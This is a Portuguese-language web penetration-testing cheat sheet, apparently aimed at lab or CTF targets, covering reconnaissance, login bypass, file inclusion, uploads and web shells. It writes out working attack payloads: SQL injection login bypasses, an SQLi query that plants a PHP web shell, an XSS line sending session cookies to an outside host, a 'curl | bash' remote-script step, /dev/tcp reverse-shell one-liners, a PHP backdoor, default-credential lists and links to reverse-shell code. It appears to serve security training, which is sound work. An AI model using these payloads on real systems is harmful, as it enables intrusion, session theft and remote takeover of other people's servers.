

Contents

guia_pratico	2
Web	2
OSINT	2
Source Code / Page Source	2
Header	3
Diretório e arquivo	3
API Endpoint	3
Credencial fraca	4
Webroot	4
CGI	4
Login Bypass	4
File Inclusion	5
Path Traversal	6
File Upload	6
XSS	6
Command Injection	6
WordPress	7
Jenkins	7
WebDav	7
Version Control	7
Git	7
Svn	7
Apache	8
Tomcat	8
Nginx	8
IIS	8
Database	8
Plugin	8
API Hacking	8
XXE	9
SSTI	9
SSRF	9
SSI	9
IP Restriction Bypass	9
Dependency of Multiple Services	9
GraphQL	9
Deserialization	9
Insecure Function	10
Rails	10
Werzeug/Flask	10
Browser	10
Burpsuite and ZAP	10
Burpsuite	10
ZAP	10

Curl	11
Error Messages	11
Encoding	11
Encode command in HTTP Request	11
Encode command in Python function	11
Encode command in Python function in HTTP Request	11
Web Shell	11
Cryptography	12
Unnecessary Authentication	12

by @an4kein | 19/02/2022 | Blog: <https://an4kein.github.io/>

guia_pratico

Antes de começar por aqui, lembre-se que o GOOGLE é seu melhor amigo!

Web

- 1: Verifique se é um serviço HTTP ou HTTPS. Se for HTTPS, verifique seu certificado, se não tem alguma vulnerabilidade SSL, como a vulnerabilidade HeartBleed, a ferramenta está disponível <https://github.com/drwetter/testssl.sh>
- 2: Se necessário, enumere seus subdomínios, adicione o host virtual ao `/etc/hosts`
- 3: Acesse o URL de destino em um navegador, Chrome e Firefox

OSINT

- 1: Verifique seu conteúdo, como **blogs**, **comentários**, **perfis de usuários**, etc. encontre algo sobre **usuários/membros/equipe**, crie uma lista de **possíveis nomes de usuário/senhas**
- 2: Se usa um **modelo oficial**? Se assim for, você dificilmente encontrará algo útil. Caso contrário, continue enumerando
- 3: **Tema e função** deste aplicativo. Esse site é de **Suprimentos**? **Para médico**? **Para gerenciamento de dispositivo**? etc.

Source Code / Page Source

- 1: **valor padrão** de um elemento
- 2: **Comentários**, procure por "`<!--`"
- 3: **Link**, procure por "`href`"
- 4: **Elemento oculto**. Use a ferramenta de desenvolvimento (dev-tool) para fazê-lo aparecer

5: Mesmo que uma página da web pareça vazia, lembre-se de verificar sua fonte

Header

- 1: Burpsuite é o preferido
- 2: Verifique o cabeçalho especial, que pode revelar sua API

Diretório e arquivo

- 0: Enumerar todos os subdomínios e hosts virtuais
- 1: Se o servidor web for executado em uma porta incomum, tente o protocolo HTTP e HTTPS
- 2: `nikto -h http://10.10.10.10`
- 3: Combine os resultados de pelo menos dois scanners
- 4: `dirb http://10.10.10.10`
- 5: `gobuster dir -u http://10.10.10.10 -w dir.txt -x html,txt,php,aspx,java -t 20 (-k, se https)`
- 6: Use o dicionário do aplicativo específico: como o dicionário do SharePoint CMS
- 7: diretório oculto - a. hostname, domain, username, service name como um diretório - b. Mencionado em conteúdo da web, como um blog - c. Procure o documento/github repo do aplicativo - d. robots.txt, sitemap.xml - e. Arquivo de configuração - f. Mensagens de erro - g. código fonte, comentários - h. protegido por uma autenticação básica: `gobuster dir -U admin -P admin -u http://10.10.10.10/private -w dir.txt -x html,php,aspx,txt -t 20`
- 8: Repositório/documento oficial do GitHub do aplicativo da mesma versão

API Endpoint

- 0: Semelhante ao diretório e arquivo
- 1: `wfuzz -c -z arquivo,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.10/FUZZ/`
- 2: Mencionado no conteúdo da web
- 3: Em solicitações e respostas
- 4: Código fonte, comentário

Credencial fraca

- 1: Sempre tente `admin:admin` primeiro ou `admin:password`, `guest:guest`, `admin:password123`, `user:admin`
- 2: Pesquise no Google por `login/credencial padrão` -> Exemplo: `joomla default credentials`

Webroot

- 1: Se o webroot de um servidor web compartilhar o mesmo diretório com SMB ou FTP, e você tem `permissão de gravação`, tente fazer `upload de um web shell`
- 2: No Linux, uma webroot geralmente é `/var/www/html` ou `/var/www/[appname]`
- Lembre-se que depende muito do OS, no `freebsd` o mesmo app pode ser localizado em um caminho diferente ao encontrado em outra distro, como por exemplo, uma distro Ubuntu.
- 3: Aproveite o `SQLi` para escrever um `backdoor` para webroot:

```
' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'var/www/html/cmd.php' -- -'
```
- 4: Recupere webroot de `mensagens de erro`, `phpinfo`, etc.

CGI

- 1: Vulnerabilidade de `Shellshock`

Login Bypass

Existem várias maneiras de ignorar o login

- 1: A `autenticação não ajuda`, ou a autenticação é `desnecessária` para nossa `enumeração/exploração`. Esta é uma das situações mais ideais.
- 2: `Credencial padrão/fraca`. Esta é também uma das situações mais ideais.
- 3: carga útil `SQLi`
 - a) `username=admin' or '1'='1` `password=[arbitrary]`
 - b) `username=admin` `password=' or '1'='1`
 - c) `username=admin` `password=' or 1=1-- -`
 - d) `username=admin' or 1=1-- -` `password=[arbitrar]`
- 4: Adivinhe uma `credencial` com base em `OSINT` ou `engenharia social`. Antes de adivinhar, você precisa coletar algumas informações. Como o apelido do administrador, o nome real do administrador nome, nome da equipe, nome do serviço, nome do aplicativo, etc. Eles podem ser nomes de usuário em potencial.

Para senha, pode ser o mesmo que nome de usuário e não se esqueça de tentar algumas senhas mais simples, como senha, admin, 123456, password, qwerty, etc.

- 5: Registre um novo user
- 6: Solicitações de autenticação básica
- 7: Revise o código-fonte, especialmente os comentários
- 8: Use SQLi para recuperar ou substituir a credencial
- 9: Use XSS para roubar cookie
- 10: Sessão de reutilização
- 11: OSINT, como blogs, comentários, etc.
- 12: Ataque de dicionário, ataque de força bruta. Use-o como última opção. ZAP é recomendado.

File Inclusion

- 1: Se um nome de argumento for como view, file, page, skin, theme, lang, template, etc., a inclusão de arquivos é altamente possível
- 2: Se LFI for confirmado, tente RFI também
- 3: Se o RFI não funcionar, altere o protocolo HTTP/FTP para o protocolo SMB.
- 4: Se o RFI realmente não existir, use o LFI para ler alguns arquivos confidenciais, como um config que contém credenciais. Em seguida, aproveite a credencial coletada para próxima exploração
- 5: Alternar entre caminho absoluto e caminho relativo
- 6: Inclua arquivos de configuração de serviço, como /etc/apache2/sites-available/000-default.conf, /etc/vsftpd.conf, etc.
- 7: Use o filtro PHP para verificar o código-fonte: `http://10.10.10.10?page=php://filter/convert.base64-codificar/recurso=view.php`
- 8: Se XXE for possível, também pode levar a LFI
- 9: A própria LFI tem algumas abordagens que levam ao RCE
 - 1: Incluir arquivo de sessão
 - a: Preencha um formulário POST para fazer `username= <?php system("[command]");?>`
 - b: Observe o valor da sessão e, em seguida, localize o arquivo de sessão php. Normalmente em `/var/lib/php/sess_[SessionId]`, `/tmp/sess_[SessionId]`
 - c: Incluir o arquivo de sessão
 - 2: phpinfo + LFI
 - a: Se `file_uploads` estiver ativado

- b: PoC script: <https://0xdf.gitlab.io/2020/04/22/htb-nineveh.html#shell-as-www-data-via-phpinfo.php>
- 3: Log poison
 - a: Se o arquivo de log estiver acessível, como `/var/log/vsftpd.log`, `/var/log/apache2/access.log`
 - b: Para `access.log`, insira a carga útil no agente do usuário. Para `vsftpd.log`, forneça carga útil na **seção de nome de usuário**.
 - c: Incluir o arquivo de log
- 4: `send mail`
 - a: Envie um e-mail com uma carga maliciosa
 - b: Incluir `/var/mail/www-data`

10: Alguma **restrição**, precisa de um pequeno ajuste no nome do arquivo, **extensão do arquivo**, final do nome do arquivo (`%00`), etc.

Path Traversal

- 1: Leia o arquivo do servidor, como `/etc/passwd`
- 2: Transferir arquivo **inacessível** (arquivo de back-end, arquivo autorizado-requerido) para diretório acessível (interface do gerenciador de arquivos, compartilhamento SMB/FTP)

File Upload

- 1: Não tem nenhuma restrição: Basta fazer o upload!
- 2: Restrição do lado do cliente: use `burpsuite` para editar a solicitação e encaminhar
- 3: Restrição do lado do servidor: altere o número mágico, o nome da extensão do arquivo, etc.
- 4: Restrição inexplorável: é uma toca de coelho

XSS

- 1: Roube o cookie do administrador ou de outro usuário online para ignorar o login - a: `<script>new Image().src="http://10.10.10.20/file.jpg?cookie="+document.cookie;</script>`
- b: `nc -nlvp 80`

Command Injection

- 1: Se você puder encontrar o código-fonte para fazer uma revisão do código da `whitebox`
- 2: Fuzzing endpoint de API
- 3: Fuzz um argumento. Se não houver argumento, adivinhe um

WordPress

- 1: Caminho de login padrão: `/wp-login.php`, `/wp-login`, `/wp-admin`, `/wp-admin.php`, `/Conecte-se`
- 2: `wpscan`
- 3: Plugin, exploit de temas
- 4: Painel RCE (Aparência-> Editor-> 404 Template)
- 5: Faça upload de um plug-in
- 6: Seu arquivo de configuração (para o estágio PE) -> Privilege Escalation - Geralmente em `/var/www/html/wp-config.php`

Jenkins

- 1: RCE: crie um novo new project, build section->execute shell, Build now

WebDav

- 1: Use `nikto` para escanear
- 2: `cadaver http://10.10.10.10`
- 3: Credencial (se necessário)
- 4: Put/Get para upload/download arquivo

Version Control

Git

- 1: Encontre o repositório do github do aplicativo que você está testando
- 2: Use a ferramenta git para reconstruir o projeto: - a. `./gitdumper.sh http://10.10.10.10/.git rep1` - b. `cd rep1 && git checkout -- .`
- 3: Mostrar logs: `git logs`
- 4: Mostrar log de um commit: `git show [commit]`

Svn

- 1: Revise os logs do repositório: `svn log --username admin --password admin http://10.10.10.10/svn/rep1`
- 2: Compare as diferenças com as versões anteriores: `svn diff -r 2:1 --username admin --password admin http://10.10.10.10/svn/rep1`

Apache

- 1: `phpinfo.php`

Tomcat

- 1: Tente acessar `/manager`
- 2: Senha padrão: `admin:admin`, `tomcat:tomcat`, `admin:NULL`, `admin:s3cr3t`, `tomcat:s3cr3t`, `admin:tomcat`
- 3: Carregar carga útil `.war` - #Vc pode gerar usando o `msfvenom` ou alguma outra tool

Nginx

- 1: Verifique: <https://book.hacktricks.xyz/pentesting/pentesting-web/nginx>

IIS

- 1: Verifique e teste as extensões de arquivo `asp`, `aspx`, `config`, `php`
- 2: arquivo `web.config`

Database

- 1: `SQLi`
- 2: Recuperar a credencial - #Sempre reutilize em outro lugar
- 3: Substituir a credencial se o hash for inexplorável
- 4: Escreva um web shell no webroot: `' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE '/var/www/html/cmd.php' -- _'`

Plugin

- 1: Exploração do plug-in vulnerável
- 2: Habilite um plugin específico

API Hacking

- 1: Use `burpsuite` para analisar solicitações, respostas e URLs ocultas (especialmente aqueles não podem ser enumerados por `dirb` ou `gobuster`)
- 2: Enumerar todos os endpoints
- 3: Interface, como interface `GraphQL` para `Gatsby`
- 4: Documento oficial

5: Fuzz Endpoint da API (<http://10.10.10.10/endpoint/FUZZ>) para verificar LFI/RFI e Vulnerabilidade de injeção de comando com nome de arquivo, comando, nome de arquivo codificado e comando

XXE

1: Pode ser usado para incluir arquivo local

SSTI

1: tente payload `cmd={{7*7}}` para detectar

SSRF

1: Acesse o servidor web interno

SSI

1: Preste atenção à página `shtml`

IP Restriction Bypass

1: Adicionar `X-Forwarded-For: 127.0.0.1` no header

2: SSRF

Dependency of Multiple Services

1: Use burpsuite para analisar tráfegos

2: Links apontando para outras portas nos códigos-fonte

3: Banco de dados, servidor memcached, etc.

4: Especial request header

GraphQL

1: `/graphql`, `/graphiql`, `/graphql.php`, `/graphql/console`, `/__graphql` OU use wordlist para fazer o fuzzing: <https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/graphql.txt>

2: Query

Deserialization

1: desserialização de Java - a: Encontre a entrada que pode ser controlada -

b: Garantir o tipo de carga útil - c: Use `ysoserial.jar` para gerar uma carga útil Download tool: <https://github.com/frohoff/ysoserial>

2: Python Pickle deserialization

3: PHP deserialization

Insecure Function

1: `eval()` em NodeJS e Python

2: `preg_replace()` em PHP

Rails

1: Acesse uma URL `inexistente` para receber a mensagem de erro

Werzeug/Flask

1: Se o `debug` estiver habilitado, acesse `/console` e inicie o RCE

2: `eval()`

Browser

1: Combine o `Firefox` com o `Chrome`

2: Use complementos convenientes (add-ons): `Wappalyzer`, `Cookie-Editor`, `Shodan`, `Hack-Tools`, `Foxproxy`, etc

3: Se uma exploração não for bem sucedida, mude para outro explorador

4: Dev Tool (Ferramentas de desenvolvimento)

Burpsuite and ZAP

Burpsuite

1: Verifique os headers especiais

2: Comunicação/Dependência com outros serviços/portas

3: Edite a solicitação para ignorar o controle de acesso

4: Como 3, edite a solicitação para representar o usuário administrador

5: Analise a API

ZAP

1: Como o `BurpSuite`

2: Quando se trata de força bruta, tem uma velocidade muito maior

Curl

- 1: Acesse pelo método GET e verifique os cabeçalhos: `curl http://10.10.10.10`
- 2: Envie uma solicitação POST: `curl -X POST --data "id=123" http://10.10.10.10`
- 3: Alterne entre POST e GET para testar os endpoints da API
- 4: Escreva um script para fuzz
- 5: Baixe o arquivo: `curl http://10.10.10.10/file -o file`
- 6: Execute um script remoto: `curl http://10.10.10.10/shell.sh | bash`

Error Messages

- 1: Preenchimento incorreto ==> Existência de codificação, como Base64
- 2: Nenhum arquivo ou diretório ==> Possível LFI/RFI
- 3: não é possível registrar este nome de usuário ==> Este nome de usuário existe
- 4: Acesse uma URL inexistente ==> Revelar todos os caminhos (Rail)

Encoding

Encode command in HTTP Request

- 1: Codificação/decodificação online: <https://www.urlencoder.org/>
- 2: Às vezes, apenas alguns caracteres serão codificados

Encode command in Python function

- 1: Substitua '+' por '%20'. Por exemplo, `sh -i >& /dev/tcp/192.168.49.175/6000`
`0>&1 ==> sh+-i >& /dev/tcp/192.168.49.175/6000+0`

Encode command in Python function in HTTP Request

- 1: Use a codificação de URL primeiro
- 2: Substitua '%20' por '+'. Por exemplo, `sh -i >& /dev/tcp/192.168.49.175/6000`
`0>&1 ==> sh+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.49.175%2F6000+0%3E%261`

Web Shell

- 1: PHP generic

One-line backdoor: `<?php echo shell exec($_GET['cmd']).' 2>&1');`

Web backdoor: <https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php>

Web backdoor2: <https://github.com/artyuum/Simple-PHP-Web-Shell/blob/master/index.php>

2: PHP for Windows

Reverse Shell: <https://github.com/Dhayalanb/windows-php-reverse-shell>

Bind Shell: Check [PHP generic]

3: PHP for Linux

Reverse Shell: <https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php>

4: JSP

Reverse Shell: <https://github.com/tennc/webshell/blob/master/jsp/jsp-reverse.jsp>

5: ASPX

Reverse Shell: <https://github.com/borjnz/aspx-reverse-shell/blob/master/shell.asp>

6: Others

Ruby reverse shell: <https://github.com/secjohn/ruby-shells/blob/master/revshell.rb>

Ruby bind shell: <https://github.com/secjohn/ruby-shells/blob/master/shell.rb>

Cryptography

1: Escreva um `script python`

2: Faça uso de `ferramenta online`

Unnecessary Authentication

Às vezes, a autenticação é **inútil** ou **desnecessária** para nossa exploração.
Não há necessidade de crackear o login -> (brute force)